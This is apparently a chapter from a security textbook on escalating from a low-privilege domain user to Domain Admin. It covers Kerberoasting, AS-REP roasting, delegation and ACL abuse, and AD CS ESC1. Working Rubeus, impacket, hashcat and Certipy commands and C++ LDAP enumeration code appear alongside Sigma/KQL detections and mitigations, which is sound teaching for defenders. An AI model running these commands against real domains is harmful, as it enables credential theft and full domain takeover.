Chapter 211

Active Directory Attacks

Active Directory attack chains convert a domain-joined foothold into Domain Admin. The modern chain runs: Kerberoast service account → crack hash offline → request delegation ticket → AD CS ESC1 to issue certificate as DA → authenticate with PKINIT → obtain TGT as DA → DCSync. Each step leverages a misconfiguration rather than a vulnerability, making it representative of real-world enterprise weaknesses that detection engineers must cover.

Scenario

You have a low-privilege domain user. The domain has AD CS deployed. BloodHound reveals a path: current user has GenericWrite on a service account with an SPN, and the CA has a misconfigured certificate template (ESC1). Your goal: Kerberoast the service account, crack the hash, write a new SPN to a user under your control, then use AD CS ESC1 to issue a DA certificate.

Kerberoasting

KERBEROASTING FLOW ═══════════════════════════════════════════════════════════════════════ Domain user KDC ─────────── ───── 1. AS-REQ (get TGT with user creds) ─────────────────────────────────────► ◄──────────────────── 2. TGT issued (encrypted with krbtgt key) 3. TGS-REQ for SPN of service account (include TGT) → KDC returns TGS encrypted with SERVICE ACCOUNT's NT hash ─────────────────────────────────────► ◄──────────────────── 4. TGS-REP: encrypted service ticket (RC4 or AES) 5. OFFLINE CRACKING: hashcat -a 0 -m 13100 kerberoast.txt rockyou.txt → if service account uses weak password → plaintext recovered ═══════════════════════════════════════════════════════════════════════ KEY: No special privileges needed. Any domain user can request TGS for any SPN.
// Kerberoasting with Rubeus (no Mimikatz, no admin):
// Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
// → requests TGS for all accounts with servicePrincipalName set
// → outputs in hashcat $krb5tgs$23$* format (RC4) or $krb5tgs$18$* (AES256)
//
// Targeted (specific SPN):
// Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /outfile:sql.txt
//
// Python (no Windows host needed — from Linux with domain credentials):
// impacket-GetUserSPNs corp.local/user:password -request -dc-ip 10.0.0.1
//
// Hashcat cracking:
// hashcat -a 0 -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
// hashcat -a 3 -m 13100 hashes.txt ?u?l?l?l?l?d?d   (mask attack)

// RC4 downgrade: if service supports RC4, request RC4 TGS even if AES available
// RC4 is 10-100x faster to crack than AES256 offline
// Rubeus: /enctype:rc4 flag forces RC4 TGS-REP
// Detection: TGS-REP with etype 23 (RC4) for account that supports AES = anomaly

AS-REP Roasting

// AS-REP Roasting: accounts with "Do not require Kerberos preauthentication" set
// → KDC sends AS-REP encrypted with account's NT hash WITHOUT verifying requester identity
// → Anyone can request AS-REP for such accounts without knowing credentials
//
// Rubeus: Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
// Impacket: GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
//
// Hashcat: hashcat -a 0 -m 18200 asrep.txt rockyou.txt
// Hash format: $krb5asrep$23$user@domain:...

// C: AS-REP Roast via DsGetDcNameW + KERB_AS_REQ (complex — typically done via Python/Rubeus)
// LDAP enumeration to find accounts with UF_DONT_REQUIRE_PREAUTH:
// Filter: (userAccountControl:1.2.840.113556.1.4.803:=4194304)
// userAccountControl bit 0x400000 = DONT_REQUIRE_PREAUTH

BOOL FindASREPTargets(const wchar_t* ldapServer, std::vector<std::wstring>& targets) {
    IDirectorySearch* pSearch = NULL;
    ADsOpenObject(ldapServer, NULL, NULL, ADS_SECURE_AUTHENTICATION,
        IID_IDirectorySearch, (void**)&pSearch);
    ADS_SEARCHPREF_INFO prefs[1];
    prefs[0].dwSearchPref = ADS_SEARCHPREF_SEARCH_SCOPE;
    prefs[0].vValue.dwType = ADSTYPE_INTEGER;
    prefs[0].vValue.Integer = ADS_SCOPE_SUBTREE;
    pSearch->SetSearchPreference(prefs, 1);
    ADS_SEARCH_HANDLE hSearch;
    pSearch->ExecuteSearch(
        L"(userAccountControl:1.2.840.113556.1.4.803:=4194304)",
        NULL, 0, &hSearch);
    while (pSearch->GetNextRow(hSearch) != S_ADS_NOMORE_ROWS) {
        ADS_SEARCH_COLUMN col;
        if (SUCCEEDED(pSearch->GetColumn(hSearch, L"sAMAccountName", &col)))
            targets.push_back(col.pADsValues[0].CaseIgnoreString);
    }
    return !targets.empty();
}

Constrained Delegation Abuse

// Constrained delegation: account allowed to impersonate users to specific SPNs
// msDS-AllowedToDelegateTo attribute contains allowed SPN list
// Attacker with control of a constrained-delegation account can impersonate DA to allowed service
//
// S4U2Self + S4U2Proxy (Kerberos extensions):
// S4U2Self: request TGS for YOURSELF to any user (get a ticket as DA for the service account's SPN)
// S4U2Proxy: use that ticket to request TGS for target SPN on behalf of DA
// → get service ticket to CIFS/dc01.corp.local as Domain Admin → access DC shares as DA
//
// Rubeus:
// Rubeus.exe s4u /user:svc_backup /rc4:NTLM_HASH_OF_SVC_BACKUP
//            /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /ptt
// → injects service ticket as DA → access \\dc01\c$

// Resource-Based Constrained Delegation (RBCD):
// If you have GenericWrite on computer account C:
//   Set msDS-AllowedToActOnBehalfOfOtherIdentity on C to your attacker-controlled computer account
//   Then S4U2Self to get ticket as DA, S4U2Proxy to C → gain access to C as DA
// Required: attacker must control a machine account (or create one via MachineAccountQuota)
// PowerView: Set-DomainObject -Identity C -Set @{msds-allowedtoactonbehalfofotheridentity=...}

ACL Abuse and BloodHound

ACE RightObject typeAbuse
GenericWriteUserAdd SPN → Kerberoast; Write msDS-KeyCredentialLink → Shadow Credentials
GenericAllUser/GroupReset password; add to group; all writes
WriteDACLDomainGrant yourself DS-Replication rights → DCSync
WriteOwnerGroupTake ownership → grant GenericAll → add self to group
ForceChangePasswordUserReset target's password without knowing current
AddMemberGroupAdd self to privileged group (e.g., Domain Admins)

AD CS / PKI Attacks (ESC1)

// AD CS (Active Directory Certificate Services) ESC1:
// Vulnerable template: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set (requester can specify any SAN)
//   + low-priv users have Enroll permission
//   + template allows Client Authentication EKU
// → Any domain user can enroll and specify SAN=Domain Admin UPN
// → Certificate authenticates as DA via PKINIT
//
// Certipy (Python tool) to find and exploit ESC1:
// certipy find -u user@corp.local -p password -dc-ip 10.0.0.1
//   → lists all templates; flags ESC misconfigs
// certipy req -u user@corp.local -p password -dc-ip 10.0.0.1
//            -ca "corp-CA" -template VulnerableTemplate
//            -upn administrator@corp.local
//   → requests certificate with SAN=administrator@corp.local
// certipy auth -pfx admin.pfx -domain corp.local -dc-ip 10.0.0.1
//   → authenticates via PKINIT → returns TGT + NT hash of DA
//
// ESC8: HTTP-based NTLM relay to AD CS web enrollment
//   → relay credential captured via Responder/mitm6 to CA's /certsrv/certfnsh.asp
//   → get DA certificate via relayed authentication (no cracking needed)
//
// LDAP filter to find ESC1-vulnerable templates:
// (&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1)
//   (msPKI-RA-Signature=0)(|(pkiExtendedKeyUsage=1.3.6.1.5.5.7.3.2)(pkiExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2)))

Detection Engineering

title: Kerberoasting — Multiple TGS-REP RC4 Requests
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    ServiceName|endswith: '$'  # exclude computer account SPNs
    TicketEncryptionType: '0x17'  # RC4-HMAC
    TicketOptions: '0x40810000'
  timeframe: 5m
  condition: selection | count() by IpAddress > 3
level: high
tags: [attack.credential_access, T1558.003]

title: AS-REP Roasting — AS-REP Without Preauth
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthType: '0'  # no preauthentication
  condition: selection
level: medium
tags: [attack.credential_access, T1558.004]

-- MDE KQL: AD CS certificate enrollment requesting UPN of privileged account
DeviceEvents
| where ActionType == "LdapSearch"
| where AdditionalFields has "pKICertificateTemplate"
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

IdentityLogonEvents
| where Protocol == "Kerberos"
| where LogonType == "PKINIT"  // certificate-based authentication
| where AccountName in ("administrator", "krbtgt")  // high-value targets
| project Timestamp, AccountName, DeviceName, IPAddress

Q&A

AD CS ESC1 produces a certificate signed by the enterprise CA. Why can't the attack be blocked by simply requiring PKINIT (certificate authentication) to use smart-card-only accounts, and what is the actual mitigation?

Smart-card-only accounts (the SMARTCARD_REQUIRED flag) require interactive certificate authentication and disable password-based logon for that specific account. However, ESC1 does not rely on the victim account having a smart card requirement — it relies on the certificate template allowing the requester to specify an arbitrary Subject Alternative Name (SAN). When the attacker enrolls in the vulnerable template and sets SAN=administrator@corp.local, the resulting certificate asserts the identity of the administrator account regardless of whether that account is configured as smart-card-only. The Certificate Authority issues the certificate based on the template's enrollment rules, and the KDC accepts the certificate as proof of identity for the SAN's account during PKINIT. The victim account's own logon restrictions (smart card required, password disabled) are irrelevant to what the CA will sign.

The actual mitigations are at the template configuration level and the CA enrollment permission level. For ESC1 specifically: (1) Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from templates that have it unless absolutely needed — this flag is the root cause, because it allows the requester to name the SAN; (2) Restrict enrollment rights so that only privileged, managed service accounts can enroll in templates with that flag; (3) Enable the CA Manager Approval requirement for sensitive templates so that enrollment requests require approval before certificates are issued; (4) Enable audit logging on certificate issuance (EID 4887) and alert when a certificate for a privileged account SAN is issued to an unexpected requester. The Certipy remediation output directly identifies which templates have which ESC flags, and the fix for ESC1 is removing CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from the vulnerable template.